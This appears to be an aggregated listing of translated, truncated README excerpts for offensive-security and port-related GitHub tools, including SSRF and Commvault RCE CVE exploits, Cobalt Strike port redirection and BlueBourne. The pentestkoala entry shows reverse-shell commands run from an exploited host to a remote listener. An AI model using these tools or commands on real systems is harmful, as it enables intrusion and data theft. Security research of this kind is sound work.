ALPC-Enumerator

Enumerador de Puertos ALPC Consciente de PPL Una herramienta userland de Windows para enumerar y clasificar puertos de Advanced Local Procedure Call ALPC, incluyendo aquellos propiedad de procesos PPL Protected Process Light donde la duplicación estándar de handles falla. Las herramientas de...

CVE-2022-31188

CVE-2022-31188 CVE-2022-31188 - OpenCV CVAT（计算机视觉标注工具）SSRF CVAT 是由英特尔开发的开源计算机视觉标注工具。 任何拥有"任务创建"授权的用户都可以通过发送恶意 HTTP 请求触发 SSRF 漏洞，并访问系统上的其他开放端口。 该漏洞在 CVAT 2.0.0 更新中已修复。 POST /api/v1/tasks/2/data HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 Macintosh; Intel Mac OS X 10.15; rv:97.0...

Commvault-CVE-2025-34028

CVE-2025-34028 Commvault 远程代码执行 CVE-2025-34028 NSE 如何在 Nmap 中运行： nmap -p443 --script CVE-2025-34028 --script-args='https-ports=443'...

pentestkoala

Koala 是 dropbear SSH 服务器的一个修补版本，它不绑定到端口，而是通过连接到远程客户端来开启反向 Shell。 这对于在被利用的机器上获取 pty 终端以及通过 SSH 端口转发安全地外泄数据非常有用。还可以通过使用动态 SSH 端口转发功能进行跳板攻击（Pivoting）。 用法 在客户端上运行以下命令以监听 SSH 连接： $ ncat -lvp 5000 --sh-exec 'ncat -lvp 9999' 在已被利用的主机上运行： $ ./dropbear -p client-host:5000 现在在客户端上，连接到端口 9999 以开启 Shell： $ s...

PortBender

概述 PortBender 是一个 TCP 端口重定向工具，允许红队操作员将发往一个 TCP 端口（例如 445/TCP）的入站流量重定向到另一个 TCP 端口（例如 8445/TCP）。PortBender 包含一个攻击者脚本，操作员可以利用该脚本将工具与 Cobalt Strike 集成。但由于该工具以反射 DLL 形式实现，它可以与任何支持通过“ReflectiveLoader”接口加载模块的 C2 框架集成 1。该工具还允许操作员模拟 Duqu 2.0 威胁行为体所使用的“PortServ.sys”能力中的后门/持久化机制。 设计 PortBender 利用 WinDivert...

CVE-2023-27163-ssrf-to-port-scanning

此存储库没有 README。...

lightkeeper

lightkeeper Un port del plugin Lighthouse para GHIDRA. Iconos creados por Pixel perfect de www.flaticon.com...

sshpass-win32

sshpass-win32 类似于 https://linux.die.net/man/1/sshpass 先决条件 要运行 sshpass，您必须安装： Windows 10 Insider 内部版本 17733 或更高版本 安装 Winget winget install xhcoding.sshpass-win32 Scoop scoop install sshpass 用法 用法：sshpass 选项 命令 参数 -h, --help 显示此帮助信息并退出 -V, --version 打印版本信息 密码选项：无选项时 - 密码将从标准输入获取 -f= 从文件获取要使用的密码 -d...

DInvoke_rs

DInvokers Port en Rust de Dinvoke. DInvokers puede usarse para muchos propósitos, como el análisis de PE, la resolución dinámica de funciones exportadas, la carga dinámica de plugins PE en tiempo de ejecución, la evasión de hooks de API y más. Características: Resolver e invocar dinámicamente API...

EsFileExplorer-CVE-2019-6447

EsFileExplorer-CVE-2019-6447 利用 ES 文件浏览器中的 Android 漏洞 漏洞 ES 文件浏览器由 ES 全球公司创建，该公司是 DO Global 的一部分，总部位于中国。此 ES 文件浏览器仅适用于运行 Android 操作系统的移动设备。目前，ES 文件浏览器的下载总量已超过 1 亿次。该应用是 Android 上著名的文件浏览器，因此备受关注。另一方面，在 2019 年，网络安全研究人员在 ES 文件浏览器 4.1.9.7.4 版本中发现了一个漏洞。能够利用该漏洞的攻击者可以收集存储在 ES...

LazyPorts

LazyPorts Linux 的视觉端口管理器 lazyports 是一个终端 UI 工具，用于可视化和管理网络端口。它提供了一个交互式表格，用于检查监听进程并轻松终止它们。 基于 Bubble Tea 和 Lipgloss 构建。 前提条件 Go 1.24 或更高版本（安装所需） 安装 使用单条命令安装： curl -sL https://raw.githubusercontent.com/v9mirza/lazyports/main/install.sh | bash 注意：脚本可能会请求sudo 权限，以将二进制文件安装到 /usr/local/bin，实现系统级访问。 卸载...

cornershot

What is CornerShot In warfare, CornerShot is a weapon that allows a soldier to look past a corner and possibly take a shot, without risking exposure. Similarly, the CornerShot package allows one to look at a remote host’s network access without the need to have any special privileges on that host...

cornershot

什么是 CornerShot 在战争中，CornerShot 是一种武器，它能让士兵在不暴露自己的情况下，窥视墙角另一边（并可能进行射击）。 同样，CornerShot 软件包允许用户无需在远程主机上拥有任何特殊权限，即可探知该主机的网络访问情况。 使用 CornerShot，一个源 主机（能通过网络访问载体 主机）可以判断载体 与目标 之间是否存在针对特定端口 p 的网络访问。 例如，假设一个红队正试图从“被攻陷”的源主机 A 传播到目标主机 X，而主机 A 无法直接访问 X。 如果他们通过主机 B 传播，那么只有在之后他们才会发现主机 B 与 X 之间没有网络访问。 通过使用...

Upgraded_BlueBourne-CVE-2017-0785-

UpgradedBlueBourne-CVE-2017-0785- actualización de BlueBourne CVE-2017-0785 a python3 $ sudo apt-get install bluetooth libbluetooth-dev $ pip install pybluez $ pip3 install pwntools...

uhubctl

uhubctl uhubctl es una utilidad para controlar la alimentación USB por puerto en concentradores USB inteligentes. Un concentrador inteligente se define como aquel que implementa conmutación de alimentación por puerto. La idea original de este código se inspiró en hub-ctrl.c de Niibe Yutaka:...

RED_HAWK

版本 2.0.0 作者：R3D@0R2H1N 又名 Tuhinshubhra 一款集信息收集 与漏洞扫描 于一体的工具 使用 RED HAWK 可执行的扫描： 基础扫描 网站标题 新 IP 地址 Web 服务器检测 改进 CMS 检测 Cloudflare 检测 robots.txt 扫描 Whois 查询 改进 Geo-IP 查询 横幅抓取 改进 DNS 查询 子网计算器 Nmap 端口扫描 子域名扫描器 改进 子域名 IP 地址 反向 IP 查询与 CMS 检测 改进 主机名 IP 地址 CMS 基于错误的 SQL 注入扫描器 博客者视图 新 HTTP 响应码 网站标题 Alexa ...

kimi

Kimi：攻击面发现引擎 由 💜 开发 @alechilczenko 项目背景： 该项目作为作品集的一部分，展示了进攻性安全、并发性和分布式架构的概念。 1. 介绍 Kimi：起源故事 Kimi 是什么？ 在我早期涉足进攻性安全领域时，我一直对像 Shodan 这样的搜索引擎如何从数百万设备中索引信息感到着迷。这个想法一直在我脑海中盘旋；我需要通过自己模拟来理解其背后的工程原理。 Kimi 是这种好奇心的产物。它是一个持续侦察扫描器，旨在优先分析外部攻击面暴露情况。它执行大规模、面向端口的扫描，以收集来自连接到互联网的服务的信息。 我的目标是创建一个高效的架构：线程和队列...

gdb-frontend

GDBFrontend is an easy, flexible and extensionable gui debugger. Installing Requirements GDB = 8.2 with python3 python3 = 3.6 tmux PIP Package Python Wheel Recommended You can install GDBFrontend with pip. sudo python3 -m pip install gdbfrontend if it is already installed and you are upgrading su...

RustScan

➡️ Discorddiscord | 安装指南toc-install | 使用指南usage-guide ⬅️ 快速、智能、高效。 !Arch Linux packagebadge-1 !Built with Rustbadge-2 !GitHub All Releasesbadge-3 !Crates.iobadge-4 !Discordbadge-5 !Actionsbadge-6 🤔 这是什么？ !fastspeed-1 现代端口扫描器。快速发现端口（最快仅需 3 秒） 。通过我们的脚本引擎运行脚本（支持 Python、Lua、Shell）。 🛠️ 安装 你可以从我们的...

lazyrecon

| | | |/ | /| | | | / / |/ | \ | | | / / | | | | | | / | | | ||\ |/ \ || ||/|| |v2 |/ Lazyrecon v2 is a subdomain discovery tool that finds and resolves valid subdomains then performs SSRF/LFI/SQLi fuzzing, brute-force and port scanning. It has a simple modular architecture and is optimized...